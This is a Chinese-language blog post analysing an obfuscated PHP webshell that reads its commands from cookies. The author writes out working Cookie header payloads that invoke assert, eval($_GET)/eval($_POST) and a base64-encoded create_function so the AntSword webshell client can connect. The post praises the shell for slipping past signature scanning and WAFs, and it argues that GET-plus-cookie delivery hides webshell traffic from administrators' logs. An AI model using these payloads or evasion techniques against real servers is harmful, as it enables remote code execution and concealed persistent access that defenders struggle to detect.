一个有趣的Shell分析以及自己的一些想法 ——yzddMr6

前言

前一段时间有很多同学问我这个shell，看了下确实比较有意思，并且顺便也想讲一些自己的想法。

语法分析

比较复杂的样子，一点点看吧。

首先$p等价于$cookie数组，属性是一个array。

后面一长串其实是个三段式

第一部分：条件

(count($p)==23&&in_array(gettype($p).count($p),$p))

也就是说$p这个字典的长度要必须是23，并且‘gettype($p).count($p)‘拼接后的值必须在$p这个字典里。

因为$p是array，count($p)=23，所以也就是说cookie中必须有一个值是array23

第二部分：条件成立时执行

(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p())

注意这里已经出现了变量函数的部分了 ,这两句将是后面讲的重点

$p[59]($p[91]) 可以变为 assert($_POST['cmd'])等等

$p=$p[91]($p[90],$p[59]($p[31])) 可以变为create_function('',eval($_POST[cmd]))等等

第三部分：条件不成立时执行

这部分没卵用。

Payload

这是某论坛大佬给出的payload

可以看到是相当于拼接了一个eval(strrev(倒置的create_function(,eval($_POST[cmd]))))(差不多这个意思)

然后就可以用密码是cmd的一句话连接了。

但是想一想，因为里面有大量的可控参数，所以其实有很多玩法。

举几个例子

最短的用法，91处直接写命令

为了方便我把$p给var_dump了出来

Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=phpinfo(); 

还可以通过GET传参

Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=@eval($_GET[a]); 

当然也可以改成POST，用蚁剑连接

Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 19; 20; 59=assert; 72=; 91=@eval($_POST[a]); 

直接在cookie里明文出现@eval($_POST[a]);肯定是不太好的，容易被拦截。

我们别忘了第二处出现变量函数的地方

($p=$p[91]($p[90],$p[59]($p[31])))&&$p())

这里可以满足我们的各种编码需求。

论坛中的payload是用strrev函数编码过的，也就是字符串反转，我们当然也可以用其他的比如base64

Cookie: 1; 2; 3; 4; 5; 6; 7; 8; 9; 10; 11; 12; 13; 14; 15; 16; 17; 18=array23; 31=ZXZhbChwaHBpbmZvKCkpOw==; 90; 59=base64_; 72=decode; 91=Y3JlYXRlX2Z1bmN0aW9u; 

其中31是eval(phpinfo()); 91是create_function

转化成蚁剑能够连接的一句话

也就是把31处改为eval($_POST[cmd]);的base64编码，注意这里最后一定要加分号。

然后用蚁剑连接就可以了。

反思扩展

总结一下这个shell构思的巧妙之处

1. shell没有明显的eval assert $_POST $_GET等常规特征

2. 动态函数的形式，可以用多种编码进行传输payload

3. 用cookie传payload，在一定程度上逃避WAF常见的POST跟GET型流量查杀

这里就想到一个问题，在网络对♂抗的时候经常有人发出疑问：

我的shell是免杀的，我的马也藏得很深，但是为什么我的shell总是能被对方找到？

尽管你的shell是免杀的，也藏在了很深的目录，也有可能你的流量也是层层编码过的，但是常见的一句话连接工具不管是菜刀还是蚁剑还是冰蝎也好，都难逃一个特点就是POST传输。

因为正常的业务中，大多数情况下都是只需GET请求，只有修改或者上传等操作的时候才需要POST。

但是一旦你的shell连接上后，你在蚁剑中的每个操作，每个查询，都会对应一次甚至多次POST发包。

管理员在日志中看到某一个文件短时间内被同一IP连着POST了几十次，用脚趾头想想就知道有问题。。。

所以在我看来，以后的方向可能就是GET请求+cookie或者http头传输payload。

kali上著名的工具weevely也是采用了GET+COOKIE传payload的模式：Weevely命令传输分析

但是命令行总是不方便，如果能够用拓展性强大的蚁剑能实现就好了。

那么如何实现呢?

这个等我学会了再给大家分享。。。。。。

留下了不学无术的泪水.jpg